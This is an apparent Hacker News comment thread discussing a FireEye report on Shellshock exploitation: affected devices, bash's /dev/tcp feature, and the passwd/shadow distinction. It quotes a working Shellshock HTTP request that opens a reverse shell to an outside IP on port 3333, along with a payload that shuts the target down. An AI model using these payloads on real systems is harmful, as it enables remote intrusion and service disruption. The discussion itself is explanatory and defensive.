Shellshock in the Wild | Hacker News Reader

Shellshock in the Wild

fireeye.com

73 pointsjonbaer28 comments

I would just like to point out that, for all the talk of routers being vunerable, routers in general use busybox, which in turn uses ash shell as the default shell. Most routers will not be vunerable unless bash was explicitly installed.

https://forum.openwrt.org/viewtopic.php?id=52937

Whilst this is true, many NAS boxes do remain vulnerable and tend to have features that encourage users to make them world accessible (such as media servers).

I was tracking the changelog for the QNAP one that I use and was pleased to see that they didn't take too long to patch it: http://www.qnap.com/i/en/product_x_down/firmware_log.php?kw=...

Not only that. But if you're going to make a web interface available externally you're kinda asking for it. Whether it's Shellshock or not, you shouldn't let anyone but admins see admin interfaces. Restrict SSH and web access as much as possible.

That's just openwrt. Other than VxWorks or QNX based hardware, a ton of network-connected devices ship with bash. Some even use it for their web interface backend.

Your office printers are probably vulnerable to this bug. So are medical devices, SANs, network switches, IP phones, cars, SCADA systems ... you name the device, I can probably name a vendor that ships bash on it. Here are the Cisco and Juniper devices affected: http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10... http://tools.cisco.com/security/center/content/CiscoSecurity...

    GET /cgi-bin/ HTTP/1.1 Host: <SERVER_IP> User-Agent: () { :;}; /bin/ -c ‘/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1′

"Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself. Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system."

Maybe I'm seeing this wrong, but isn't the /dev filesystem provided by the kernel?

> isn't the /dev filesystem provided by the kernel?

It is, but for /dev/tcp bash isn't really using it - that gets translated instead to internal socket handling code (i.e. nothing gets created/accessed in the real /dev) much like when you use "echo" - bash uses its built-in by default instead of forking to the external command of that name.

While you are right that /dev is typically a filesystem provided by the kernel (these days, previously it was a normal "static" filesystem), bash specifically handles various filenames under /dev when used in redirection, including /dev/tcp and /dev/udp. See http://www.gnu.org/software/bash/manual/bashref.html#Redirec...

    $ ll /dev/tcp
    ls: cannot access /dev/tcp: No such file or directory

That explains it, thanks.

Try

$ ls > /dev/tcp/127.0.0.1/12345

For the "Stealing the Password File" attack what they're actually getting is a list of users, not the hashed passwords. Hashed passwords are stored in /etc/shadow in all recent (at least early 90s) systems.

This is still bad since they now will have a list of possible usernames on the system but not nearly as bad as getting access to the hashed passwords as well.

if they can stole /etc/passwd they probably can stole /etc/shadow, no ?

No. /etc/passwd is world-readable by necessity. /etc/shadow should only be readable by root. Your webserver should not be running as root.

Oh! It makes sense. :)

Not unless they got root. /etc/passwd is world-readable, /etc/shadow is restricted to root.

edit: damnit nknighthb, beat me to the punch! I'll add that privilege escalation attacks on Linux are common place and it won't be difficult to get root once they can execute arbitrary code. Installing a rootkit/backdoor is the typical first step once you get inside a box; if you can't get root immediately you can either brute-force a root login or sit and wait for a new 0day to pop up (which is probably every quarter for Linux systems).

Of the 50 distinct kernel exploits announced this year, the following are ones which either give privilege escalation or expose memory of the kernel: CVE-2014-0038, CVE-2014-0049, CVE-2014-2523, CVE-2014-0100, CVE-2014-0131, CVE-2014-0077, CVE-2013-1860, CVE-2014-2851, CVE-2013-6383, CVE-2014-0196, CVE-2014-3153, CVE-2014-4027, CVE-2014-4014, CVE-2014-0206, CVE-2014-4699, CVE-2014-4943, CVE-2014-4652 through 4656, CVE-2014-3534, CVE-2014-0205

Yeah, but they are still hashed, right? So I assume admins will use sanity-checked passwords not ones that can not be found in brute-force dictionaries.

Yeah, no. 99% of admins do not use strong passwords. That's the reason we have brute-force dictionaries: they usually work. Besides, almost all systems still use the weak old encryption routines that can be brute-forced in a trivial amount of time with modern hardware. There's a small handful of systems which use a modern password hashing method for their secret files.

There's a great thing about that list. It gets cut in about half if you trim out the things that either wouldn't or shouldn't be running on most servers (e.g. x32, specific hardware drivers, ALSA(!)), which ties in nicely with the whole using-bash-as-/bin/sh thing.

The most important thing you can do for security is to decrease your attack surface, and one of the most effective ways to do that is to not run shit you don't need. Code that isn't there can't be exploited.

So what's the point of root?

It's called "the password file" for historical reasons, the same way we "dial" phone numbers.

The same way we "roll" down windows in our cars.

Cache: http://webcache.googleusercontent.com/search?q=cache%3Ahttp%...

So I booted and put up my servers just for the heck of it since there's nothing I could care about being hacked in it. I was anyways going to wipe the servers and start from scratch. Discovered quite a fun log today.

Basically several hackers have gotten in, installed wordpress, (and the whole apache mysql php stack with it) and done a bunch of other stuff and left without a trace (except for the log of course). Crazy stuff. I'm wondering how many other websites have been hacked and aren't even bothering to check on it.

This is a really good article because it clearly lays out possible exploits; journalists could use this to more accurately report about this.

I've only seen 7 probes across a couple webservers in the whole time that this has been out. It's possible that they're not putting it a place that I'd be seeing it in the logs. But overall, I'm not seeing a huge population of scanners.

To add a similar experience, I've seen 8 attempts—5 (all unique origins) on the 25th, 3 (same origin) on the 26th. This on an effectively zero traffic machine.

I hope that perl script gets a date[1].

[1] https://www.virustotal.com/en/file/2ff32fcfee5088b14ce6c96cc...

"GET /item?id=8365973 HTTP/1.1" "() { :;}; shutdown -h now"

"That's not nice :("

https://twitter.com/hnstatus/status/515299364080590848

Everyone is reacting on Twitter like that actually did something.

Reply on news.ycombinator.com